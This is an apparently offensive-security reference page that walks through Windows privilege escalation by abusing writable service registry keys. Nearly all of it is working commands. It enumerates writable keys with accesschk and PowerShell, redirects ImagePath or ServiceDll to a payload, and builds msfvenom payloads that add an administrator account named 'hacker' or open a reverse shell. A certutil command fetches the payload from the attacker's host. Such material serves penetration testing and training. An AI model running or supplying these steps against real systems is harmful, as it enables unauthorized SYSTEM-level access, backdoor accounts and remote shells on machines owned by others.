Skip to content
HackIndex logo

HackIndex

Weak Registry Permissions for Windows Privilege Escalation

3 min read Mar 15, 2026

Windows services store their configuration in the registry under HKLM\System\CurrentControlSet\Services\. If your user has write access to a service's registry key, you can change the ImagePath value to point to any binary — effectively the same as service binary hijacking but without needing to touch the filesystem ACL of the binary itself. Changing ServiceDLL in service parameters achieves the same via DLL injection.

Prerequisites Check

C:\Users\Guest\Desktop> whoami /priv
C:\Users\Guest\Desktop> whoami /groups

Step 1 — Find Services with Writable Registry Keys

Using accesschk:

C:\Users\Guest\Desktop> # Find service registry keys writable by current user
C:\Users\Guest\Desktop> accesschk.exe -uwkqs %USERNAME% HKLM\System\CurrentControlSet\Services /accepteula 2>nul
C:\Users\Guest\Desktop> accesschk.exe -uwkqs "Authenticated Users" HKLM\System\CurrentControlSet\Services /accepteula 2>nul
C:\Users\Guest\Desktop> accesschk.exe -uwkqs "Everyone" HKLM\System\CurrentControlSet\Services /accepteula 2>nul
C:\Users\Guest\Desktop> accesschk.exe -uwkqs "BUILTIN\Users" HKLM\System\CurrentControlSet\Services /accepteula 2>nul

Look for KEY_SET_VALUE, KEY_ALL_ACCESS, or WRITE_DAC.

Using PowerShell:

# Check registry permissions on all services
$services = Get-ChildItem "HKLM:\System\CurrentControlSet\Services"
foreach ($service in $services) {
    $acl = Get-Acl $service.PSPath
    foreach ($access in $acl.Access) {
        if ($access.IdentityReference -match "Users|Everyone|Authenticated" -and
            $access.RegistryRights -match "SetValue|FullControl|WriteKey") {
            Write-Host "WRITABLE: $($service.Name) | $($access.IdentityReference) | $($access.RegistryRights)"
        }
    }
}

Step 2 — Confirm the Service Runs as SYSTEM

C:\Users\Guest\Desktop> # Check the service's run-as account
C:\Users\Guest\Desktop> reg query "HKLM\System\CurrentControlSet\Services\VulnerableService" /v ObjectName
C:\Users\Guest\Desktop> sc qc VulnerableService | findstr "START_NAME"

ObjectName of LocalSystem or StartName of LocalSystem confirms SYSTEM execution.

Step 3a — Modify ImagePath

Change the service's binary path to your payload

C:\Users\Guest\Desktop> # Check current ImagePath
C:\Users\Guest\Desktop> reg query "HKLM\System\CurrentControlSet\Services\VulnerableService" /v ImagePath
 
C:\Users\Guest\Desktop> # Modify ImagePath to payload
C:\Users\Guest\Desktop> reg add "HKLM\System\CurrentControlSet\Services\VulnerableService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\payload.exe" /f
 
C:\Users\Guest\Desktop> # Restart the service
C:\Users\Guest\Desktop> sc stop VulnerableService
C:\Users\Guest\Desktop> sc start VulnerableService

Step 3b — Modify ServiceDLL

Some services load a DLL specified in Parameters\ServiceDll rather than a standalone binary. If this key is writable:

C:\Users\Guest\Desktop> # Check for ServiceDll
C:\Users\Guest\Desktop> reg query "HKLM\System\CurrentControlSet\Services\VulnerableService\Parameters" /v ServiceDll
 
C:\Users\Guest\Desktop> # Modify to point to your malicious DLL
C:\Users\Guest\Desktop> reg add "HKLM\System\CurrentControlSet\Services\VulnerableService\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\Temp\malicious.dll" /f
 
C:\Users\Guest\Desktop> # Restart
C:\Users\Guest\Desktop> sc stop VulnerableService
C:\Users\Guest\Desktop> sc start VulnerableService

Your DLL must export ServiceMain for services that use this pattern. Use a proxy DLL as described in https://hackindex.io/platforms/windows/privilege-escalation/dll-hijacking.

Step 4 — Create and Transfer Payload

┌──(kali㉿kali)-[~]
└─$ # On attack box
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/exec CMD="net user hacker Password123! /add && net localgroup administrators hacker /add" -f exe-service -o payload.exe
 
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe-service -o shell.exe
┌──(kali㉿kali)-[~]
└─$ # On target
┌──(kali㉿kali)-[~]
└─$ certutil -urlcache -split -f http://$LHOST:8080/payload.exe C:\Windows\Temp\payload.exe

Step 5 — Restore Original Configuration

C:\Users\Guest\Desktop> # Restore original ImagePath
C:\Users\Guest\Desktop> reg add "HKLM\System\CurrentControlSet\Services\VulnerableService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Original\Path\service.exe" /f
C:\Users\Guest\Desktop> sc start VulnerableService

References